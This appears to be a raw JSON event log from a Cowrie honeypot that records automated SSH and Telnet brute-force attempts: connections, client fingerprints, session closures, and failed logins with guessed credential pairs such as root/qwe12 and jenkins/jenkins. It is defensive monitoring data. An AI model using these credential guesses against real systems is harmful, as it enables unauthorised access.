{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:38.742872Z","src_ip":"176.32.39.21","session":"7f32ec46cad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:38.851899Z","src_ip":"176.32.39.21","session":"7f32ec46cad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00085425376892,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:38.925709Z","src_ip":"152.42.224.71","session":"64e9061416d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:39.176902Z","src_ip":"45.156.87.204","session":"980ccf0ba820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe12","message":"login attempt [root/qwe12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:39.317233Z","src_ip":"176.32.39.21","session":"7f32ec46cad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47138,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fff1924dde3","protocol":"telnet","message":"New connection: 152.42.224.71:47138 (10.17.0.5:23) [session: 2fff1924dde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:40.171975Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:40.262083Z","src_ip":"45.156.87.204","session":"980ccf0ba820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:40.438901Z","src_ip":"176.32.39.21","session":"7f32ec46cad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":62214,"dst_ip":"159.203.135.109","dst_port":22,"session":"5435fb1d9f73","protocol":"ssh","message":"New connection: 94.26.106.229:62214 (159.203.135.109:22) [session: 5435fb1d9f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:41.860606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:41.864858Z","src_ip":"94.26.106.229","session":"5435fb1d9f73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:41.952210Z","src_ip":"94.26.106.229","session":"5435fb1d9f73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:42.215727Z","src_ip":"94.26.106.229","session":"5435fb1d9f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35876,"dst_ip":"159.203.135.109","dst_port":22,"session":"9177b93e0a62","protocol":"ssh","message":"New connection: 45.156.87.204:35876 (159.203.135.109:22) [session: 9177b93e0a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:42.310789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:42.315498Z","src_ip":"45.156.87.204","session":"9177b93e0a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:42.397681Z","src_ip":"45.156.87.204","session":"9177b93e0a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:42.643701Z","src_ip":"45.156.87.204","session":"9177b93e0a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.1777708530426,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:43.018727Z","src_ip":"152.42.224.71","session":"6b5d911cc51f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:43.305700Z","src_ip":"94.26.106.229","session":"5435fb1d9f73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:43.728679Z","src_ip":"45.156.87.204","session":"9177b93e0a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.24069833755493,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:44.363594Z","src_ip":"152.42.224.71","session":"b28f78ec5382","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":19646,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8de4071830e","protocol":"ssh","message":"New connection: 94.26.106.229:19646 (159.203.135.109:22) [session: f8de4071830e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:45.108758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:45.269588Z","src_ip":"94.26.106.229","session":"f8de4071830e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:45.273467Z","src_ip":"94.26.106.229","session":"f8de4071830e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35862,"dst_ip":"159.203.135.109","dst_port":22,"session":"723e4b4cad7c","protocol":"ssh","message":"New connection: 45.156.87.204:35862 (159.203.135.109:22) [session: 723e4b4cad7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:45.832516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:45.837392Z","src_ip":"45.156.87.204","session":"723e4b4cad7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:45.852501Z","src_ip":"94.26.106.229","session":"f8de4071830e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:45.925257Z","src_ip":"45.156.87.204","session":"723e4b4cad7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:46.298981Z","src_ip":"45.156.87.204","session":"723e4b4cad7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:46.937900Z","src_ip":"94.26.106.229","session":"f8de4071830e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:47.091195Z","src_ip":"47.237.167.49","session":"19d72b8fb52b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:47.383536Z","src_ip":"45.156.87.204","session":"723e4b4cad7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35888,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0a00aa04acf","protocol":"ssh","message":"New connection: 45.156.87.204:35888 (159.203.135.109:22) [session: e0a00aa04acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:49.548271Z"}
{"eventid":"cowrie.session.closed","duration":"55.9","message":"Connection lost after 55.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:49.553206Z","src_ip":"47.237.167.49","session":"19d72b8fb52b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":62198,"dst_ip":"159.203.135.109","dst_port":22,"session":"768a96ab7849","protocol":"ssh","message":"New connection: 94.26.106.229:62198 (159.203.135.109:22) [session: 768a96ab7849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:49.586346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:49.589805Z","src_ip":"94.26.106.229","session":"768a96ab7849","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:49.652782Z","src_ip":"45.156.87.204","session":"e0a00aa04acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:49.656215Z","src_ip":"45.156.87.204","session":"e0a00aa04acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:49.674362Z","src_ip":"94.26.106.229","session":"768a96ab7849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eva","password":"eva","message":"login attempt [eva/eva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:49.928511Z","src_ip":"94.26.106.229","session":"768a96ab7849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:50.007495Z","src_ip":"45.156.87.204","session":"e0a00aa04acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:51.066010Z","src_ip":"94.26.106.229","session":"768a96ab7849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:51.096265Z","src_ip":"45.156.87.204","session":"e0a00aa04acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":40264,"dst_ip":"159.203.135.109","dst_port":22,"session":"465e646ebb29","protocol":"ssh","message":"New connection: 43.128.86.117:40264 (159.203.135.109:22) [session: 465e646ebb29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:51.257852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:51.262310Z","src_ip":"43.128.86.117","session":"465e646ebb29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:05:51.508705Z","src_ip":"43.128.86.117","session":"465e646ebb29","protocol":"ssh"}
